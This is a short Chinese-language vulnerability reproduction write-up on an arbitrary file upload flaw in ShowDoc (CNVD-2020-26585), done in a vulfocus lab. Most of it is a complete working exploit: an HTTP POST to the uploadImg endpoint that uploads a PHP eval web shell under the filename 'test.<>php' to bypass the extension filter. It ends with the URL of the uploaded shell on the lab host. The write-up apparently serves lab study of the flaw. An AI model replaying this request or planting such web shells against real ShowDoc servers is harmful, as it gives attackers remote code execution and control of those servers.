漏洞描述

ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc，你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。 api_page存在任意文件上传.

漏洞环境

vulfocus showdoc cnvd_2020_26585

漏洞复现

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 123.58.236.76:51785
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=1ojbvvo156geosv74d4df3n5u7; think_language=zh-CN
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 05 Aug 2020 02:28:06 GMT
If-None-Match: W/"5f2a1936-679"
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173613
Content-Length: 258

----------------------------921378126371623762173613
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php @eval($_POST['shell']) ?>
----------------------------921378126371623762173613--

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webshell

<http://123.58.236.76:51785/Public/Uploads/2022-04-19/625e43174463c.php>

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